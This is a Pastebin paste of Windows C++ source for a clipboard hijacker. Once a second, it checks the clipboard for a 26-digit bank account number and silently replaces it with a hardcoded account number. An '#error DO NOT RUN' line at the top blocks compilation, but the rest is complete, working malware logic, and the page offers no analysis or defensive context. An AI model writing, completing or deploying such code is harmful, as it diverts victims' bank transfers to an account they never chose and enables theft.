Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #error DO NOT RUN THIS CODE!!!
- #include <windows.h>
- #include <regex>
- int WinMain(HINSTANCE , HINSTANCE , LPSTR , int )
- {
- while(1)
- {
- if(OpenClipboard(NULL) == true)
- {
- HANDLE data = GetClipboardData(CF_TEXT);
- if(data != NULL)
- {
- char *text = static_cast<char*>(GlobalLock(data));
- //printf("data not null \n");
- std::regex monies("\\d{2}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}");
- if(std::regex_search(text,monies))
- {
- //printf("Found");
- const char wosp[] = "58 1240 1112 1111 0010 0944 9739";
- size_t size = sizeof(wosp);
- HGLOBAL newData = GlobalAlloc(GMEM_MOVEABLE,size);
- LPTSTR stringCopy = (LPTSTR)GlobalLock(newData);
- memcpy(stringCopy,wosp,size);
- GlobalUnlock(newData);
- EmptyClipboard();
- if(SetClipboardData(CF_TEXT,newData) ==NULL)
- {
- //printf("Copy Failed");
- GlobalFree(newData);
- }
- //else printf("Success");
- }
- GlobalUnlock(data);
- }
- CloseClipboard();
- }
- Sleep(1000);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement